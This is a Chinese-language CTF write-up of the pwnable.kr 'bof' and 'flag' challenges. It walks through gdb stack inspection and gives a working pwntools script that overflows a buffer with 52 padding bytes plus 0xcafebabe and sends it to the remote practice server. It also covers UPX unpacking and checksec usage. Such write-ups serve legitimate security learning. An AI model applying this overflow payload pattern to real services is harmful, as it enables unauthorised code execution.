第三题 bof
题目链接:
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
这道题需要用到缓冲区溢出,因此需要使用IDA(使用gdb也可以)来查看两个数据存放的数据栈才能确保在输入的时候能刚好覆盖并使得原始数据改变。
IDA参考链接:
gdb参考链接:
(gdb调试出现问题解决参考下面的第三点)
使用gdb的解题过程
- 下载bof和bof.c
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
2. gdb执行过程:
gdb ./bof
//添加断点
b func
//开始执行
r
//打开反汇编窗口
layout asm
//ni单步执行到图片所值函数位置
ni
然后会出现overflow me:在文本中输入AAAAAAAA并回车,接下来就是查看栈信息的指令
x/30x $esp
对上上面这个指令的讲解在这个帖子中介绍比较详细。
第一个x是gdb指令examine 简写 x/ (n,f,u为可选参数) n:
需要显示的内存单元个数,也就是从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义 f:显示格式
x(hex) 按十六进制格式显示变量。
d(decimal) 按十进制格式显示变量。
u(unsigned decimal) 按十进制格式显示无符号整型。
o(octal) 按八进制格式显示变量。
t(binary) 按二进制格式显示变量。
a(address) 按十六进制格式显示变量。
c(char) 按字符格式显示变量。
f(float) 按浮点数格式显示变量 u:每个单元的大小,按字节数来计算。默认是4 bytes。GDB会从指定内存地址开始读取指定字节,并把其当作一个值取出来,并使用格式f来显示
b:1 byte h:2 bytes w:4 bytes g:8 bytes
比如x/3uh 0x54320表示从内存地址0x54320读取内容,h表示以双字节为单位,3表示输出3个单位,u表示按照十六进制显示。
同时在上面指令进行单步运行的时候我们使用的指令是ni表示单步步过,在gdb中ni,si和n,s(s表示单步步入)的区别在于ni用于调试汇编指令,而n用于调试源程序。
然而在执行打印地址信息的命令时又报错没有权限,不行,我要放弃了,真的还是IDA好用呀。
打印esp的指令会显示无法读取该内存,但是打印sp的指令时却能正常打印出来。因此应该不是百度说的动态链接库和静态链接库的问题,但具体是什么原因我也不知道了,可以试试打印每个寄存器的值,然后对比看一下(我得赶作业了,不往下写了),还有就是打印sp的值对比似乎存在问题,可能是此处的deadbeef是main函数的,而实际上两者的值查为52(使用IDA查看)。
答案执行过程
编写python文本如下:
//pwn是一个python的库,如果没有安装直接使用pip install pwn就可以进行安装
from pwn import *
key =p32(0xcafebabe)
load=remote("pwnable.kr",9000)
load.send(bytes('a',encoding='UTF-8')*52+key)
load.interactive()
执行过程如下:
- 通过以上文本编写我们学到了一个新的函数p32,可以看到我们在给p32赋值以后其输出结果会倒置,因此在上面的文本中我们的赋值key和比较的文本一样。
而如果不使用p32也可以使用以下语句直接赋值(来源链接),
load.sendline('a'*52+'\xbe\xba\xfe\xca')
可以看到后面覆盖的部分进行了倒置。
接下来介绍p32函数,在网上介绍p32的资料很少,可以点击看看这个链接,文中说道p32表示的是bytes,在上面的测试用例中赋值后其输出格式也可以得到证明。
p32是压缩,输出的是bytes类型
u32是解压缩,对应的是str类型。
bytes实例包含的是原始数据,即8位的无符号值(通常按照ASCII编码标准来显示) str实例包含的是Unicode码点(code
point,也叫作代码点),这些码点与人类语言之中的文本字符相对应
在python这种语言,字符串b开头表示bytes字节,字符串里面的\x代表这是一个16进制,而一位十六进制代表了四位二进制,所以这里两位十六进制代表了8位二进制,也就是说这代表一个字节,最终解释出来是e
为什么不直接写b'hello'?这个是为了方便我们理解bytes是由8位值组成。在计算机里面str 等于 bytes, 而bytes却不等于str, 因为计算机bytes可以表示更多的格式,音频、视频、字符串、文档等等
如上面的例子所示,两个输出都是一样的。
第四题 flag
解题过程
文中给了一个安装upx脱壳的工具,但实际上在ubuntu20中直接使用以下命令就可以实现对upx脱壳的安装:
sudo apt install upx
执行指令“upx 需要脱壳文件名”就可以直接进行脱壳了
upx flag
很多文章都写很容易就看出这个是upx的壳,打开二进制文本后可以看到它的文本中直接给出了加的是upx的壳(直接在IDA的hex窗口就可以查看):
在脱壳以后找flag时使用IDA可以快捷键shift+F12查看字符串
checksec的使用
看了一篇文章说可以使用checksec进行查壳,然后下载了checkesec执行命令后报如下问题:
checksec flag
Error: No option selected. Please select an option.
这里应该是由于checksec升级了版本以后,需要在checksec 后添加–file=命令,也就是执行如下命令即可:
checksec --file=flag //flag是需要测试的文件名字
学到知识点:checksec的使用,upx脱壳